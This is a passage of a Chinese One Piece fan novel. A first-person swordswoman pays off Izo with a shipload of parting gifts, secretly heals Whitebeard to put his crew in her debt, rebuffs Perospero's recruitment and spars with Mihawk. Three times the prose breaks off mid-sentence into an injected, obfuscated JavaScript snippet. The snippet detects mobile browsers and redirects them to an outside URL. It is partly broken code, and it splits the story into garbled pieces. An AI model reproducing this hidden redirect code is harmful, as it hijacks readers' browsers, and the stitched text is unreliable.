【肯定的吧。】我坐在藤椅上吃着水果,【现在如果突然说什么我要去当海贼之类的,被打脸的海军跟世界政府都会成为我的敌人,海上四皇呢,BIGMOM、凯多,这两个一个崇尚血缘联系,另一个缩在和之国,两边作风我都没什么太好的观感,而且前者看见我就要追杀……】 【因为你睡了BIGMOM不止一个孩子。】系统犀利指出原因。 我轻咳两声,【很有趣不是吗,不过这个不重要,露水情缘而已。】 因为怕伤到我所以任由我把控主权还小心翼翼的模样的确很有趣。 也仅限于此了。 【白胡子跟红发,两边露水情缘太多了,去了感觉可能会被哀怨的盯着。】一群怨夫想让我负责什么的,还是免了吧。 【算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155774|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算下来,也就只有海军还勉强能和平相处了,改换阵营这种事,短时间内应该是做不到的。】 虽然海军里也有非常优秀的硬汉,但并非我喜欢的类型,如果睡了,大概只是因为好奇之类的…… 当然,钱还是会给的。 系统平静道:【无所谓了,不过你既然还打算跟海军合作,那就为未来的背刺提前送一份补偿礼吧。】 【海军的前大将泽法,带着新一任还没有正式成为海军的学生,被堵在西面那座岛上哦,如果你再不过去的话,大概他们就会团灭吧?】 系统询问我:【要调转方向?还是直接回岛上?】 我冷着脸让系统将电话虫拿来,让它直接给黄猿打电话,同时让系统调转方向加快速度,待电话接通后报了坐标点,而后冷声道:“你们的前大将带着新兵们被人截杀,自己过来救人。” 黄猿刚从会议室出来,专门负责联系月光的电话虫就响了起来,慢悠悠找出来接通后,还来不及问候就得了这么句话。 周围的人也都竖着耳朵,本以为能听见什么花边新闻,可等他们反应过来自己都听到什么的时候,已经来不及了。 对面电话被挂,也不知道具体是什么情况,战国只能先让黄猿过去,而后卡普与鹤带队出发,青雉随行。 可等黄猿赶到时,只能看见已经冷静下来互相开始包扎伤口,安置同期尸体的后辈与老师泽法。 泽法抬眼,见是自己最不省心的学生,平静道:“原来她说的海军是你啊,看来你们关系似乎不错。” 波鲁萨利诺见曾经对海贼恨之入骨的老师竟然如此平和,不禁愣住了。 泽法指了指远处被大大咧咧放在石头上,双手双脚都散落在沙滩上的两个袭击者,平静道:“看,虽然都是不杀,但她只是保持着为人的底线,比我当年心慈手软最后妻儿惨死好多了。” “我很好奇,最后她能走到何处。” * 成功让海军欠我一个人情后,我不禁赞道:“雨歇比之前的青铜顺手多了。” 【因为青铜就是剑胚啊。】作为买下剑胚的系统为我讲解:【那个剑胚最初其实就是让你练手的,什么时候你能有一点自己走出来的剑意,那它才会根据你的心意进行改变,因为时间不定,所以价格跟成剑比起来不贵还好用……】 【真的很顺手。】我将长剑收入鞘内,而后捧着小小的系统笑道:“好啦,我们回岛上,继续种花!” 岛,不是我的家,船,更不是我的家,即便有系统陪伴,可我也不认为这里是我的家。 所以没有回家一说。 这个世界没有我的家。 但兰波在的地方有,那不是我的家,是我们的,兰波、系统、我,那是我们的家。 而月光猎人因为看不惯海贼截杀前海军大将现新兵教官泽法及其学生所以难得下手重了一点的事也被不知道藏在哪里的世界报社记者记录了下来,成为了次日头条。 我已经懒得在意这些家伙都藏在哪里了,只要不是怼着脸拍就忽略那些存在,而且…… “进入瓶颈期了么。”鹰眼收回刀,抱着难得脸颊有了点肉的女人走进建筑风格清雅大气的房内,又熟练找出棉巾,沾了温水擦去女人身上的浮灰。 由于这次是提前说好的试剑,并非切磋,所以双方都点到为止,并未受伤,倒是好处理些。 我看着米霍克,长叹道:“是啊,瓶颈期,真是让人讨厌,果然还是需要沉淀一段时间。” 米霍克将脏了的棉巾放进温水中搓洗,面上平静:“这就是你选择在这个岛上定居种花的原因?” “你不也在种菜。”我随口吐槽道:“最开始看见你住在城堡里,还以为你会需要人照顾,结果你竟然连菜都是自己种,那么大的地方竟然都是自己打理,真是不可思议。” 跟米霍克混熟了,我也放开了些,平日里装出来的冷淡跟沉稳在他面前也消减许多,毕竟米霍克算是难得的良师益友,我自然不希望冷淡的态度将人推走,他走了我找谁切磋? 31.回忆 被赞誉为月光猎人的女人是极为美丽的。 这份美丽,并非独独属于容貌,更多的是为人行事上的克制与情感上的放纵让人为之沉迷。 她眼中藏着的忧郁与思念更让人想要撕碎再填满,只是优越的实力与行踪不定的习惯让人难以将心中那些脏污之念实现而已。 米霍克看向斜歪歪坐着的女人,同样也是自己亲手培养的对手,平静道:“所以要一直在这里停留吗?” 我撑着沙发起身,慢吞吞道:“只是暂时有些累了而已……正好休息一段时间放松一下。” 在没有兰波的情况下,一个人独处,对我而言就是最好的放松方式。 什么安慰陪伴都是不需要的,那只会让我耗费更多的心力。 “如果这是你希望的。”米霍克起身,离开前难得好心提醒:“蜗居在某处的,只有井底之蛙,希望下一次你来寻找我,不会让我感觉无聊。” 挥挥手,我并未起身送行,米霍克也并未在意。 或者说,他本身也不是会在意这种事的人。 最初我与他相识,的确是因为同为七武海,也同用冷兵器。 一个是刚刚剑术小有所成只爱用剑的独行侠,另一个是用刀却被世人称为世界第一的大剑豪,不曾相识还好,可既然见了面,那不切磋切磋又怎么能行呢? 米霍克因为无聊,我则是因为想要拥有更强、更强的实力。 可说到底,那也不过是一面之缘,若说真正熟悉起来,那还是以藏那件事之后了。 * “远处那艘船是来挑战老爹的吗?”背生青色火焰组成双翼、发型神似菠萝的黄发男人自船舷上跳下,走到一位胡子向上翘起宛若月牙的高大男人身边,双手插进兜里,一副并不放在眼里的模样。 身为白胡子海贼团的皇副,马尔科也的确有这个资本。 “咕啦啦啦啦!”戴着黑色头巾的白胡子大笑道:“每年总是有这种新人小鬼,让我看看今年过来挑战的是谁!” 对于这种每年过了颠倒山来到新世界后都会过来挑战四皇的新人,别说是白胡子,就是BIGMOM跟凯多都已经习惯了,不过这种四海前来的新人,总是不知道海上皇帝的实力,不比新世界出身的海贼,过于了解,反而少了许多乐子。 马尔科高飞眺望着远处,正想凑近,便见以藏脸色大变。 “怎么了yoi?”马尔科落在以藏身边低声询问。 以藏看着那艘没有任何旗帜的船,收起枪,从衣袖中掏出块镜子,确定自己衣着与妆容没什么大碍,方才抽空回道:“是琉璃的船……你看那个人偶。” 船头上原本被马尔科当成摆设的人偶披着貂裘披风,手中捧着个盒子,马尔科左看右看也看不出什么异样。 以藏平静道:“因为本来就没有异样,这些木偶都是琉璃的家人做出来照顾琉璃的,没有任何武力……” 但琉璃为了什么过来,为什么要乘坐小船,以藏却并不清楚。 有以藏作保,船上便也只是暂时提起警惕,等到小船靠近后,马尔科与以藏方才跳上甲板。 可半晌,不见人,只见那木偶缓缓走来,停留在以藏面前,手中捧着的盒子轻轻打开。 木盒底部是黑色的丝绒,丝绒上是封戳了深蓝色火漆印章的信。 很显然,这信是给以藏的。 以藏犹豫片刻,最后在马尔科打趣的目光下拆开信封,一旁的木偶又不知从哪儿拿了一串钥匙出来,交给了马尔科,而后便静静伫立在一旁仿佛从来没有移动过一般。 以藏咬着牙一副本想将书信丢下的模样,可最终还是冷着脸回了莫比迪克号上,马尔科在一旁微微挑眉,木偶则悄悄递上个粗糙简陋的纸条。 【船上都是分手礼物。】 一句话,成功让马尔科了然,为什么刚刚以藏一言不发就回了莫比迪克号上。 无他,被睡了还得到了一船的分手礼物,明摆着是不打算有过多往来的模样,无论男女,无论最初意图如何,都会为此愤怒…… 不过真是大手笔,这船可不小呢。 马尔科打量着自己脚踩的这艘船,几个见以藏回来后便一言不发进了房间的队长挤挤挨挨走过来,拉克约八卦道:“怎么样?好像没看见人出来啊!” 马尔科闷笑道:“这艘船上都是那位送过来的分手礼物……去问问以藏什么打算。” 海贼喜欢财宝,但不代表连同伴被睡后得到的分手礼物都要收下……怎么也要问问以藏怎么想的吧。 几个人忍着笑意,最后马尔科顶着以藏的黑脸和他人的好奇,从以藏口中得到肯定答复后,马尔科方才带人去搬运礼物。 边搬运,边清点,从中午搬到傍晚,方才全部搬完,船上只剩下几个木偶后,那船便在无人操纵下自行离去,倒也没人阻拦,只是围观之人嘴上啧啧称奇。 马尔科揉了揉手腕,声音嘶哑道:“还有吗?” 过来回复的船员同样有气无力:“没了……全都搬过来了……” 来来回回搬运不知道多少次的盛景成功吸引了莫比迪克号上其他人过来围观,在得知这成功塞满库房又堆满大半个甲板、满满当当装着财宝、美酒的箱子都是那位月光猎人送来的分手礼物,不免沉默了。 “以藏……好福气啊!”先前还在安慰以藏连个情人名头都没混上就被送走的几位队长一时间心绪复杂。 该说不愧是新世界难得的良心吗? “一个恶魔果实、金银珠宝共计百余箱、还有美酒和……”据说能够治愈身体暗伤的珍珠。 以藏心绪复杂,与马尔科深夜前往老爹的房间,皱眉道:“虽然说是这么说,但她说不确定老爹身体如何,所以很可能只能起到舒缓作用。” 以藏承认,自己的确只是一时兴起,但连深入发展的机会都没有,连情人的名头都没混上,就得了一句露水情缘,他自然也憋着气。 但再多的气,以藏也不会对并非敌人的女性出手,而且最初也的确说好了,只是一夜的露水情缘,所以以藏也只能唾骂自己,回莫比迪克号上生气。 可是再多气、怒、羞,都在见到书信内那枝手绘的春樱时、在书信中被对方赞为香腮玉人、风流如画后也消了,算了,都在海上,总有再次相遇那一日不是么? 直到信末提到那颗珍珠。 以藏故作黑脸,带着书信与珍珠回房,小心将书信收好后,打量着掌心圆润的珍珠,直到外面那些所谓的分手礼物都被搬运到莫比迪克号上,以藏才在夜里与马尔科来到了白胡子的房间。 马尔科皱眉抱胸靠着墙,面带犹豫:“虽然说是这么说,但老爹身体状况你不可能告诉月光,所以究竟是从哪里泄露的消息?” 白胡子喝着不知月光猎人从哪儿寻来的美酒,好半晌方才接过珍珠,询问以藏:“这是吃进去的?” 以藏摇摇头,“捏碎就好。” 白胡子随意将珍珠捏碎,体表覆上一层柔和光晕,好半晌他方才点评道:“很有用。” 或者说,是白胡子自从旧伤复发后除了马尔科的火焰外难得能感觉到明显身体被治愈的存在。 马尔科上前检查一番后,点头默认,而后用最简洁明了的语句解释:“老爹的身体就像是水桶,从前即便小心维护,可破了洞的水桶却也装不住水,现在就像是被补上了洞的水桶……如果按照平均年龄计算,只要日后没有什么过重的伤势,老爹甚至都不需要喝药打针进行维护。” 也不知道这是从哪儿弄来的,让以藏再被睡一次能不能再送一次分手礼物…… 马尔科咽下后面的话,见白胡子藏在身后的酒,抽着嘴角道:“虽然暗伤好了,不用顾及饮食,但老爹你还是委屈一段时间吧。” 虽然人家没有说能不能宣扬出去,但即便是海贼也是在乎仁义的,刚得了人家的帮助,转头就让人家被围攻……太不像人了。 抱着从白胡子手里‘搜’来的美酒,旁的船员见了也只以为两人这是担心老爹喝的太多,并未多想。 只有那晚在白胡子房间内短暂停留的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162835|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三人知晓究竟发生了什么。 除了珍珠的事被瞒着,剩下的马尔科都不曾让人刻意隐瞒。 毕竟白胡子海贼团身为皇团也常年被海军、世界经济新闻社监视的,瞒是瞒不住的,而且月光是七武海,能让外界看到对方的态度,反倒是一件好事。 对彼此都是好事。 果然,月光猎人睡了白胡子主船上十六番队队长以藏后送去一船财宝作为分手礼的新闻一出,成功让众人将重点转移到了花边新闻上。 有人说白胡子海贼团卖子求荣,有人说月光身为七武海与海贼联系过密,还有人说自己也希望能被这样抛弃一回得到大笔分手费…… 众说纷纭,可只要有人敢大肆宣扬月光的情人是以藏,就会被找上门改掉说辞。 至于被谁找上门嘛…… 木门被重重踹开,提着锈迹斑斑青铜剑的女人一拳拳将人揍到改口后,方才冷脸回了船上。 【为什么要给他们这么多钱啊?而且珍珠也给出去了……】系统不解道:【如果之后他们求上来或者消息泄露呢?】 我拨弄着香薰蜡烛里过长的蜡线,拿着剪刀剪落一半后,方才点燃蜡烛放在桌上,静静梳着因为发型缘故而有些弯曲的长发。 蜡烛噼里啪啦燃烧的声音静静环绕在卧室内,如同少女红了脸颊一般的柔粉色薄纱层层叠叠被做成柔软睡裙模样,前襟与两袖上坠着成串的珍珠,蕾丝宛若一层层褪去的浪花般坠在前襟,直至可垂落在木板上的脚踝处。 【金钱买断感情纠纷,我认为这很划算,如果买不断……】 【如果买不断?】 【那也没什么在意的必要。】我对着镜子梳着头,【我不是跟他们谈情说爱的,他们都是打发时间的家伙,如果缠上来,甩开就好了。】 【而且如果给了钱还要缠上来,那就不用嘴下留情了吧?】我放下梳子,倒在床上让系统将手机拿出来,边玩边随意道:【至于情报泄露?白胡子的身体不比当年,我身为一个七武海都有那么多人过来挑战切磋,那白胡子这个海上皇帝呢?】 【得罪谁都不能得罪医生,白胡子免不了受伤,我给出的珍珠能补救他的身体,前提是他安心养老,金盆洗手不做海贼,但很显然,他不会这样的,所以只要他们有聪明人,就不可能让消息传播出去,更不可能得罪我。】 【可我们跟白胡子也没有关系吧,为什么要帮助白胡子?】系统翻着世界线,有些心虚。 【因为平衡。】我指着系统给我整理出的资料,解释道:【首先我们来看这个世界的势力分布。】 【世界政府、海军,这两个是摆在明面上的官方势力,四海由两方合作掌控,也是几位海上皇帝不能插手,或者不能过多插手的地方,这大概也是双方无声的默契。】 【而新世界呢,世界政府跟海军其实比不过海上三皇的势力更广更让人敬畏,三皇之中,BIGMOM的万国与她的子女都是让人十分头痛的存在,尤其BIGMOM有野心有能力,百兽凯多呢?虽然明面上大多数时间都停留在和之国的鬼岛上,但不时便带人出门远征劫掠,最后的白胡子,难得不喜欢夺取财宝,更多是以庇佑手下势力而得到钱财的海贼……】 【岛屿上没有纷争嘛?有,但是更多的纷争都随着海贼王罗杰临死前那一句而来到了海上,说实话,我不知道他是故意的,还是无心的,但无论如何,各个岛屿与国家之间的纷争的确不大。】 不多甚至不存在是不可能的,但能将可能出现的战争控制成为随时都能处理的纷争,的确不易。 【海军厌恶海贼,世界政府监视海贼,但无论如何,他们都在维持海贼的存在、三皇的势力,因为一旦各方势力失衡,就会造成更大的灾难。】 【如果白胡子出事,我可能都等不到你说的那个艾斯出现再在海军手下将他救下就被各方势力搅碎成为粉末灰溜溜跑回老家了。】 治疗白胡子,当然还有最后一个没有说出口的理由,只不过既然没说出口,自然是打算保留为底牌的存在。 32.小叙 与系统简单聊过我为什么要帮助白胡子后,系统方才放心,我却有些哭笑不得。 当然,也正是因为这件事,所以在以藏再次找来时,我也并未惊讶。 毕竟这本就是我所求,这本就是我谋划许久后,得到的报酬。 “不要用这种眼神看我啊。”以藏有些无奈,却又有几分窃喜。 看啊,她依旧喜爱着我,在我出现时目不转睛的看着我,这是一件多么令人高兴的事啊。 面容艳丽的男人轻抿着唇,上面的唇脂红的宛若樱桃熟透了即将掉落一般,微微抿着唇,却面带薄红,叫人见之心动。 我欣赏着这样的美丽,“没办法,毕竟美丽的事物总会吸引到更多的目光,而像你一样美丽的人也总是会让人心动不已的。” 喜欢美好的事物,是人的共性。 “算了……”以藏并未过多纠缠这一点,而是正色道:“那个珍珠……你还有多余的吗?我们可以出钱购买。” 白胡子虽然在那夜后并未将自己好转的消息传出,一如既往被管束着吃药不许喝酒,但私下里却有马尔科打掩护放松许多,但知情的马尔科与以藏,却都不能将这件事忘却。 老爹现在看上去都好,可再过几年呢? 白胡子被称为世界最强的男人,又是海上三皇之一,前来挑战他的人数不胜数,年轻时便积攒了许多的暗伤,如今年迈,暗伤、疾病,多层叠加后身体不好也是理所当然的事,可深受白胡子这位老爹庇佑的人只要知道了有办法能让白胡子身体恢复健康,安稳平坦的步入死亡,又怎么可能会真的什么都不做呢? 只要做了,就有办法能够抓到对方的弱点,只要动了,我就能用利益交换出我所需要的存在,这是兰波的经验之谈,如今也到了我实践之时了。 我看着以藏垂首恳求的模样,心中并未放松,即便目前看来,一切尽在掌握之中,但老祖宗的经验告诉我,顺风就飘不可取。 我状似大方道:“有没有呢……我也说不上,不过既然你开口了,我总是不能束手旁观的。”毕竟这本就是我所求,我又怎么可能将这份能被我掌控的‘恩情’推拒呢? 我轻轻捧着以藏的脸,柔声道:“明年这个时候,过来陪我说说话吧,让这段露水情缘的时间持续的长些,我会给你让你满意的报酬的。” 情感,将白胡子海贼团的众人链接在一起,他们彼此互相称呼对方为兄弟姐妹,并称呼白胡子为老爹。 莫比迪克号上的所有人都是没有血缘关系的亲人,所以用恩情来牵系对方,让他们成为我的后手,才是正确的选择。 看着以藏惊讶的模样,我含笑道:“毕竟总是一个人,我也是会无聊的啊,有如花一般热烈的美人,即便只是陪伴在我身边,我也会为此而真心露出微笑啊。” 轻柔的声音让以藏越发愧疚,次日回到莫比迪克号上转头就看见又是一船分手礼被送来时,更是心虚。 “咳。”知晓内情的马尔科看着其他兄弟取笑以藏时,上前打着圆场:“好了,你们几个带人把东西搬上来,以藏,你去看看有没有月光给你的……分手信。” 马尔科说着说着,自己也带了几分笑意。 以藏无奈下船,片刻后又在他人揶揄目光中捧着个装着宝石的盒子与马尔科暗示:“非要看见我拿着书信被她用钱财打发的模样才满意吗?” 马尔科接收到暗示,憋笑道:“挺有趣的……如果不是因为你,可能船上不少人都会跑去自荐枕席了。” 以藏小心翼翼将书信收起,坐在船边擦着枪看船员搬运财宝。 说实话,一次还好,再来上这么一次,以藏自己都拿的心虚。 往常都是他给旁人钱,转身便走,如今自己成了这个拿钱的角色,以藏心中百感交集。 但偏偏没有半点负面情绪……真是奇怪又让人难以心生抗拒啊。 莫比迪克号上如何,那仅有的一颗珍珠被谁拿走,我都不在意,毕竟我要的已经得到了。 【虽然我还是不明白……明明一次就足够了吧?】系统困惑道:【他不是说要拿钱财来换吗?】 为什么不用钱财将这份联系也斩断呢? 【不一样。】我定下下一个打算前往的地方,那是新世界之中盛产水果的一个群岛,属于世界加盟国之一的地方,难得没有被海上几位皇帝瓜分的地方。 【要斩断的是他可能会牵扯到我身上不肯离开的感情,不需要斩断甚至需要维系的是我给予的恩情。】 【前者,我自然不可能任由它发展,而后者,用感情掩盖的恩情,对于这种在意恩义的人而言,只要日后我需要,我有所求,他们就不可能束手旁观。】 【用金钱来维系的恩?那算什么恩?只不过是利益来往。】 我要的,是白胡子本人都必须要承认记我这个恩、且不能用钱财买断的恩。 以藏凑巧撞上来,那就委屈一下,当一次工具人好了,反正委屈的也不是我。 系统沉默半晌,方才困惑道:【当年怎么不见你对兰波这么冷酷无情?】 【因为兰波没有任何犹豫走向了我。】我轻叹道:【兰波是不一样的,你也是,但旁人都是一样的,没有什么不同。】 我算计旁人,可我真心实意的付出了,对方能想开,那就自认倒霉,想不开,打算回头算计我报复我,我入坑了,我也自认倒霉。 各凭手段。 将船随意放在喧闹但平和的港口,我换上适合夏岛行走的短裤背心,带上系统直奔最近的水果摊。 “七武海……月光么?”留着淡蓝色带圆点长发的男人呵呵呵呵笑了起来,长出唇齿,落在胸前的舌头十分灵活,半点都没有因为说话而受伤的表现,高大纤细的身影让一旁的几个手下流下几滴冷汗。 夏洛特.佩罗斯佩罗眯着眼看向远处看都不看自己一眼,仿佛十分有底气的女人,发出独特的笑声:“妈妈似乎对她很感兴趣的样子啊。” 想起近日新世界流行的花边新闻,佩罗斯佩罗犹豫片刻,掂量着对方是否有什么隐藏的势力能与妈妈作对,确定没有,也坚信白胡子海贼团不会因为什么露水情缘就跑过来跟他们开战后,方才让人去请这位月光猎人过来一叙。 “夏洛特.佩罗斯佩罗?”我数着钱币交给老板后,将几袋水果提起,看向远处身形高大相貌怪异的男人,撇撇嘴:“不去。” 这个距离,我相信这位夏洛特家族的糖果大臣不可能听不见,所以便懒散道:“想见我,那就上我的船,或者直接把我给掳走什么的……不过后者我可能更感兴趣,毕竟自从来到新世界我还没有跟海上皇帝交过手呢。” 言罢,我还真起了些兴致:“之前BIGMOM还送来请柬,说如果我不去就要我亲友的人头被我看见,所以她找到了吗?” 被派来负责邀请我的那人都要哭出来了,笑得十分苦涩:“您不要为难我这样的小人物了……” 我颔首,看着佩罗斯佩罗朝这边走来,饶有兴致道:“那我不为难你,我问问你,都说BIGMOM喜欢收集异族血脉生下孩子,那你们的糖果大臣是有什么特殊血脉吗?头一次见到舌头长到这种程度的存在,真是有趣。” “呵呵呵呵……”佩罗斯佩罗走进后鞠躬温和道:“如果您感兴趣的话,或许我们可以到船上小叙?” 我看向佩罗斯佩罗,上下打量片刻后果断拒绝:“不要,你长得不符合我的审美。” 如果是美人来邀请,我会看在对方的容貌态度温和的拒绝,很显然,佩罗斯佩罗不在这个行列。 “被拒绝了啊。”水果摊老板啧啧道:“追求女孩子都不会,小伙子还是太年轻啊。” 我看看水果摊老板花白的头发,再看看已经四十多虽然面容奇怪却不见老态的佩罗斯佩罗,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15167211|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍住笑了出来:“真年轻啊,夏洛特先生。” 头一次被人这么说的佩罗斯佩罗有些震惊,但在看见面前这位滑不溜手的月光猎人笑得眼泪都出来的模样,心中不免赞叹。 的确好颜色,若说如今被盛赞为海上第一美人的女帝,佩罗斯佩罗也见过,的确是位美人,但若是让佩罗斯佩罗来说,无论是自己面前这位月光,还是过往见过的女帝,容貌都只是对方身上的附属品。 实力,才是佩罗斯佩罗这位大海贼会为之侧目的要点。 抹去眼角眼泪,我并未对水果摊老板的话反驳什么,只对佩罗斯佩罗直白道:“BIGMOM手下的人接触我这个被招安的七武海其实不太好,但如果你坚持如此,那就跟过来吧。” 佩罗斯佩罗身旁的手下小心翼翼道:“佩罗斯佩罗大人,您看我们要跟上去吗?” 佩罗斯佩罗眯着眼微微抬手:“你们去给妈妈采购水果,我跟去与这位小叙片刻。” 没人敢反驳佩罗斯佩罗的话,几个手下老老实实过去采购水果与部分BIGMOM感兴趣的水果制品,佩罗斯佩罗则缓步走向那艘华丽的船。 为什么不叫名字?当然是因为船本来就没有名字了! “是这样的。”我喝着花茶,平静道:“给船取名字什么的,我完全不会去做的。” “感觉有一种过家家的时候给每个锅碗瓢盆和路过无辜被抓的小猫都要取个名字的错觉……”我看着佩罗斯佩罗呆住的模样,放下茶杯:“太幼稚了。” “呵呵呵呵……”佩罗斯佩罗擦了擦莫须有的冷汗,试图步入正题:“阿蒂尔女士对于妈妈的观感如何呢?” “没见过。”我肯定道。 见对方一副努力压抑怒火的模样,我欣赏了一会儿方才缓缓道:“很优秀的女性,眼睛里的野心与欲望美丽到让我都不免为之而心动了。” 佩罗斯佩罗流下冷汗,因为他发现这位被人赞颂品性高洁的月光猎人竟然是真心夸赞妈妈的。 不得了,真是不得了,现在的年轻人接受力都这么强了吗?! 原本只是因为这边谈好的水果商人被海贼杀死所以才过来与新的商人洽谈合约的佩罗斯佩罗都不免为这话震惊了。 这话,即便是他自己,都夸不出来,如果这位来到万国,来到妈妈身边,想必会十分被看重吧? 见对面的男人这副惊恐的模样,我微微挑眉:“啊,当然,缺点也很多,但我对女性天然抱有好感,海贼里如同白胡子那样温和的还是少数吧?既然凯多能做,贵族能做,没理由夏洛特女士不能啊。” “这很公平,大家公平的杀人、吃人,日后平等的被杀、被吃,我认为没有什么大不了的。” 在这个世界,这算是常态了,虽然我不喜欢,但我改变不了世界,也不打算改变自己,所以除非被我看见,否则我便只当没有。 做所有人崇拜的救世主,那太累了,我也不是那块料子。 我只是暗中筹谋着为自己打算的、卑劣之人罢了,只要是能为自己好,能让我得到安全感,我都不介意去做。 对方满眼惊讶,我平静道:“不要跟我说什么,‘你难道不是被称赞为品行高洁可与月光比肩的存在’这种话,很恶心,我从来都没有这么宣称……” 我自认为自己不算什么坏人,但也不是什么好人,只是个会为自己筹谋的普通人,谈不上品行高洁也说不上有多低劣。 只是这个世界居然连这都能夸出花,是我未能想到的。 “就像是我从来都不明白那些世界报社的记者躲在哪里拍到照片一样。”我皱着眉:“真是让人困扰。” 没有能够抑制对方放肆行为的办法,我心里也是一股火,但偏偏对方好像还很有原则的模样,一旦我上了报纸,就一定是对方判定的大新闻,但凡寻常些,人家都不屑刊登。 这种行为更让人恼火。 33.平等 海上一片平静,船舱内同样如此。 我想,对于大部分人而言,我应该都是极难被说动的。 “……所以,既然你这么崇拜妈妈,为什么选择避开妈妈的势力范围呢?”佩罗斯佩罗虽然对妈妈也很是敬畏,但更多的还是希望自己对面的这位独行侠是个以言语便能说动的蠢货。 “纠正一下,是欣赏,不是崇拜。”我不可能崇拜一个罪犯,虽然现在我也没好到哪里去。 “而且我不单单避开BIGMOM,我是公平避开了所有势力。” 如果不是海军当时恰好找到我,并提出七武海的邀请,我只会一直飘在海上找乐子,总归系统跟我对于主线任务能不能完成都抱着随便的心态,能成最好,不能成就启动备用方案,总归死不了。 看着佩罗斯佩罗这副我不答应就打算威逼利诱的模样,我兴趣寥寥,“世界政府设立王下七武海,本身就是为了抑制海上皇帝们在新世界的势力扩张,私下里如何,能不能被发现,那是另外一说,可你明目张胆招揽我,是觉得BIGMOM海贼团过的太滋润呢?还是觉得我是什么会因为这种宛若云烟一般的承诺就会昏了头的蠢货呢?” 王下七武海之所以拥有这样的名号,之所以海军能容忍这些人放肆的行为,本质意义上就是因为政治作秀,新世界海军势力不比三皇,偏偏海军也不能轻易跟三皇开战,彼此间保留着默契,而王下七武海本质意义就是政治作秀品,为的不过是让那些新世界或刚刚进入新世界的海贼知道,他们不仅仅能投靠四皇或进入推进城,也可以被海军招安。 是啊,若是真的是个头脑简单四肢发达只知道提高实力的,又怎么可能过的这么滋润呢? 虽然是初次见面,但佩罗斯佩罗因为海上势力多年不曾变动而自傲的心态也收敛了许多,什么美人、财宝,对于海贼而言终归还是实力更能让他们改变轻蔑的心态。 眼见对面坐着的男人终于将轻视目光收回,我方才好奇询问:“所以你的舌头真的不会妨碍日常生活么?” 佩罗斯佩罗似乎被许多人问过这个问题一般,半点都不介意,发出独属于他的奇怪笑声后方才解释:“如果说年幼之时,大概是会的,不过如今舌头就像是我的手脚一样,你会控制不住自己的手脚么?” 显然不会。 满足了一半的好奇心后,我低头思索片刻,又看向这个浑身遍布糖果甜香的男人,严肃道:“舌头不会干吗?” “不会。”虽然没能招揽对方,但也不在意揭露一点小事取得对方好感的佩罗斯佩罗还算放松,毕竟家里兄弟姐妹太多,也不是没有年幼的弟妹询问过这些问题:“来源于父亲一方的基因,我的舌头总是会带有特殊的粘液附着在表面保证舌头湿润……” 真是神奇。 女人虽然什么都没说,但也毫不掩饰内心的想法,佩罗斯佩罗呵呵笑道:“毕竟大海上的种族这么多,有些奇异之处又有什么大不了的呢?” 很有道理。 我赞同道:“说的不错,BIGMOM女士的理念的确非常超前。” 无论是我还是佩罗斯佩罗,都并不想随意动手,所以对方在确定我并没有动摇之心后,便没再过多停留,只是口头留下了茶话会的邀请。 确定对方没有留下什么不该留的东西后,我方才放心开始享受购买来的水果。 如碗大的葡萄切开便能瞧见晶莹剔透的果肉,微微泛着水光,比寻常椰子大出数倍,切开后却是满满当当的荔枝果肉…… 吃着冰镇的荔枝肉,我只觉自己又有多余的精力去精进实力了。 “劳逸结合嘛。”在鹰眼的城堡内,我捧着果汁笑吟吟道。 鹰眼在克拉伊咖那岛独居,虽然住着城堡,但却是个实打实的独行侠,城堡内的卫生、鹰眼所食用的食物、穿的衣服,基本上都是鹰眼自己解决。 跟旁人认为的冷淡高傲相比,独处时的鹰眼身上带有一种我很难抗拒的特质,我曾与系统说,这大概就是优秀的男妈妈,会种地会做饭会做卫生还会补衣服…… 有一种居家旅行外出必备的感觉。 而对于我的观念,鹰眼也十分认同,“如果只知道埋头苦练,即便是天才也只会成为刻板的蠢货。” 对于米霍克犀利的点评,我深以为然,所以即便是四处挑战强者,我也不会将自己的舒适放在其后。 毕竟切磋挑战,受伤都没什么,但让我为了寻找隐居之人去当野人,那是我万万做不到的。 温暖的壁炉内烧着木头,噼里啪啦的白噪音让我昏昏欲睡,坐在一旁的鹰眼似是随意般询问:“接下来打算去哪里?” 我打着哈欠,闭着眼懒散道:“打算去鱼人岛逛逛,毕竟刚刚跟你切磋过,目前没什么心力去跟旁人对战。” 鹰眼轻笑,没有说话。 次日离开前,我也出言询问:“鹰眼为什么会选择当七武海呢?” “因为无聊。”鹰眼穿着白衬衫,脖颈上挂着的小刀随着动作晃动,我盯着鹰眼,心里不太理解。 鹰眼轻啧了一声,“虽然我对过来挑战的来者不拒,但新世界除了愣头青,也没几个人过来。” 